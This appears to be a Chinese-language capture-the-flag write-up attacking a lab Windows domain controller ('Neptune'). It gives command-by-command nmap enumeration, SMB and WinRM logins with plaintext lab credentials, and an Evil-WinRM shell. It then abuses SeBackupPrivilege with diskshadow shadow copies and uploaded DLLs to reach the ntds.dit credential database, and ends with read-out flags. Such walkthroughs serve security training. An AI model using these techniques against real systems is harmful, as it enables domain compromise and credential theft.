2 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.125 seconds (120.47 hosts/sec). 2 responded ❯ export ip=192.168.56.118 ❯ nmap -sS -sV -p- -A $ip Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 16:11 CST Nmap scan report for 192.168.56.10 Host is up (0.00050s latency). Not shown: 65515 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Neptune |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-14 08:13:32Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: neptune.thl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: neptune.thl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 55182/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 55183/tcp open msrpc Microsoft Windows RPC 55193/tcp open msrpc Microsoft Windows RPC 55202/tcp open msrpc Microsoft Windows RPC MAC Address: 08:00:27:6A:38:CB (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE HOP RTT ADDRESS 1 0.50 ms 192.168.56.10
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 219.49 seconds
一般而言windows靶机都存在很多端口
根据ldap协议获取到域名neptune.thl
添加进hosts
1 2 3
❯ echo"$ip neptune.thl"|sudotee -a /etc/hosts [sudo] password for Pepster: 192.168.56.10 neptune.thl
❯ smbclient -U 'neptune.thl/victor.rodriguez%H5gVCzzZkzJ#wGsT8u1$' //192.168.56.10/IT Try "help" to get a list of possible commands. smb: \> dir . D 0 Thu Feb 27 08:14:40 2025 .. DHS 0 Fri Feb 28 03:52:00 2025 Scripts D 0 Thu Feb 27 08:16:55 2025
10540543 blocks of size 4096. 7042590 blocks available smb: \> cd Scripts\ smb: \Scripts\> ls . D 0 Thu Feb 27 08:16:55 2025 .. D 0 Thu Feb 27 08:14:40 2025 backup.ps1 A 1957 Thu Feb 27 08:20:11 2025
10540543 blocks of size 4096. 7042590 blocks available smb: \Scripts\> get backup.ps1 getting file \Scripts\backup.ps1 of size 1957 as backup.ps1 (273.0 KiloBytes/sec) (average 273.0 KiloBytes/sec) smb: \Scripts\> exit ❯ cat backup.ps1 $sourceDirectory = "C:\Confidenciales" $destinationDirectory = "E:\Backups\Confidenciales"
$emailBody = "El proceso de backup se ha completado correctamente." + "`n" + "Archivo de backup: $backupFilePath"
Send-EmailNotification -subject $emailSubject -body $emailBody } catch { Write-Host "Error al realizar el backup: $_"
$errorSubject = "Error en el proceso de Backup" $errorBody = "Hubo un problema al realizar el backup." + "`n" + "Error: $_" Send-EmailNotification -subject $errorSubject -body $errorBody }%
利用此凭证再次收集一下信息，依次枚举一下存在的服务
发现可以利用WinRM 远程执行命令
1 2 3 4 5 6 7 8 9 10 11
❯ netexec smb $ip -u emma.johnson -p sb9TVndq8N@tUVMmP2@# SMB 192.168.56.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:neptune.thl) (signing:True) (SMBv1:False) SMB 192.168.56.10 445 DC01 [+] neptune.thl\emma.johnson:sb9TVndq8N@tUVMmP2@# ❯ netexec winrm $ip -u emma.johnson -p sb9TVndq8N@tUVMmP2@# WINRM 192.168.56.10 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:neptune.thl) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 192.168.56.10 5985 DC01 [+] neptune.thl\emma.johnson:sb9TVndq8N@tUVMmP2@# (Pwn3d!) ❯ netexec ldap $ip -u emma.johnson -p sb9TVndq8N@tUVMmP2@# SMB 192.168.56.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:neptune.thl) (signing:True) (SMBv1:False) LDAP 192.168.56.10 389 DC01 [+] neptune.thl\emma.johnson:sb9TVndq8N@tUVMmP2@#
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\thomas.brown\Documents>
*Evil-WinRM* PS C:\Users\thomas.brown\Desktop> diskshadow /s tmp.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 3/14/202511:17:00 AM
-> set context persistent nowriters -> set metadata C:\\Windows\\Temp\\meta.cab -> add volume c: alias temp -> create Alias temp for shadow ID {c2c62242-80f6-43ff-92d8-6979df11e1c2} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {0da2ca2d-ba81-4bd9-946e-c6681f8411a2} set as environment variable.
Querying all shadow copies with the shadow copyset ID {0da2ca2d-ba81-4bd9-946e-c6681f8411a2}
* Shadow copy ID = {c2c62242-80f6-43ff-92d8-6979df11e1c2} %temp% - Shadow copyset: {0da2ca2d-ba81-4bd9-946e-c6681f8411a2} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{c2f9909f-0000-0000-0000-100000000000}\ [C:\] - Creation time: 3/14/202511:17:00 AM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2 - Originating machine: DC01.neptune.thl - Service machine: DC01.neptune.thl - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1 -> expose %temp% H: -> %temp% = {c2c62242-80f6-43ff-92d8-6979df11e1c2} The shadow copy was successfully exposed as H:\. ->
Info: Uploading /home/Pepster/thl/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll to C:\Users\thomas.brown\Desktop\SeBackupPrivilegeCmdLets.dll
Info: Uploading /home/Pepster/thl/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll to C:\Users\thomas.brown\Desktop\SeBackupPrivilegeUtils.dll
Data: 21844 bytes of 21844 bytes copied
Info: Upload successful! *Evil-WinRM* PS C:\Users\thomas.brown\Desktop> ls
Directory: C:\Users\thomas.brown\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/14/2025 11:20 AM 12288 SeBackupPrivilegeCmdLets.dll -a---- 3/14/2025 11:20 AM 16384 SeBackupPrivilegeUtils.dll -a---- 3/14/2025 11:14 AM 128 tmp.txt
如果你不利用此dll工具，直接复制则会复制失败
因为ntds.dit是被锁定的数据库文件
由lsass.exe 进程 实时锁定，以确保数据完整性
即使你在卷影副本VSS中，也会复制失败
进程锁定导致 文件占用
NTFS ACL 限制访问权限
继承了原本 C 盘的 NTFS ACL 访问控制
1 2 3 4 5 6 7
*Evil-WinRM* PS C:\Users\thomas.brown\Desktop> copyH:\Windows\NTDS\ntds.dit C:\Temp\ Access to the path 'H:\Windows\NTDS\ntds.dit' is denied. At line:1 char:1 + copyH:\Windows\NTDS\ntds.dit C:\Temp\ + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (H:\Windows\NTDS\ntds.dit:FileInfo) [Copy-Item], UnauthorizedAccessException + FullyQualifiedErrorId : CopyFileInfoItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.CopyItemCommand
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() functionisunimplementedonthismachine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name --------------------------- -a----2/26/20258:52 PM 32 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt cb067ebf9847990f92f49c0612ef56b6 *Evil-WinRM* PS C:\Users> cd'Emma Johnson/Desktop' *Evil-WinRM* PS C:\Users\Emma Johnson\Desktop> type user.txt a5accd70ea911b92487cea1d1cb73162
